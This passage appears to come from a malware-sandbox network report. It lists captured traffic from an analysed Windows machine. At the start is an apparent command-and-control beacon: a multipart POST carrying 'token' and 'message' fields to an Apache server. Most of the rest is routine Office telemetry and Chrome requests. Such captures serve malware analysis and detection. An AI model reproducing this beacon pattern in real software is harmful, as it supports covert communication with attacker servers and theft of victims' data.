65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 2d 2d 0d 0a Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAKEHIJJKEGIDHIEHDAF--
Oct 27, 2024 17:54:50.659105062 CET	202	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-27 16:54:17 UTC	540	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 25 Oct 2024 17:15:22 GMT ETag: "0x8DCF5189BF6C373" x-ms-request-id: 1ac9d5d2-301e-005d-55ce-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241027T165416Z-16849878b78km6fmmkbenhx76n000000030g00000000nmxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-27 16:54:17 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-27 16:54:17 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-27 16:54:17 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-27 16:54:17 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-27 16:54:17 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-27 16:54:17 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-27 16:54:17 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-27 16:54:17 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-27 16:54:17 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-27 16:54:18 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	216.58.206.68	443	380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:17 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-27 16:54:17 UTC	1266	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:54:17 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-0eUvb3ts79oMvxw0x6ZhUA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-27 16:54:17 UTC	112	IN	Data Raw: 33 32 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 74 69 6d 75 6c 75 73 20 63 68 65 63 6b 73 20 73 73 69 20 73 73 64 69 20 76 61 20 62 65 6e 65 66 69 74 73 22 2c 22 72 65 66 69 6e 61 6e 63 65 20 6d 6f 72 74 67 61 67 65 20 72 61 74 65 73 22 2c 22 6d 65 78 69 63 6f 20 63 69 74 79 20 66 31 20 71 75 61 6c 69 66 79 69 6e 67 20 72 65 73 75 Data Ascii: 32b)]}'["",["stimulus checks ssi ssdi va benefits","refinance mortgage rates","mexico city f1 qualifying resu
2024-10-27 16:54:17 UTC	706	IN	Data Raw: 6c 74 73 22 2c 22 61 70 70 6c 65 20 61 69 20 69 6e 74 65 6c 6c 69 67 65 6e 63 65 22 2c 22 66 61 6c 6c 20 62 61 63 6b 20 64 61 79 6c 69 67 68 74 20 73 61 76 69 6e 67 73 20 74 69 6d 65 22 2c 22 6e 61 73 61 20 61 73 74 72 6f 6e 61 75 74 73 20 73 70 61 63 65 78 22 2c 22 6d 69 73 73 20 6d 79 61 6e 6d 61 72 20 6d 69 73 73 20 67 72 61 6e 64 20 69 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 22 2c 22 74 61 79 6c 6f 72 20 6d 61 74 68 69 73 20 64 72 61 66 74 6b 69 6e 67 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 Data Ascii: lts","apple ai intelligence","fall back daylight savings time","nasa astronauts spacex","miss myanmar miss grand international","taylor mathis draftkings"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"Ch
2024-10-27 16:54:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49709	216.58.206.68	443	380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:17 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-27 16:54:17 UTC	1042	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 27 Oct 2024 16:54:17 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-27 16:54:17 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-10-27 16:54:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49713	216.58.206.68	443	380	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:54:17 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-27 16:54:17 UTC	1042	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 27 Oct 2024 16:54:17 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-27 16:54:17 UTC	336	IN	Data Raw: 31 65 31 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1e1f)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-27 16:54:17 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-27 16:54:17 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 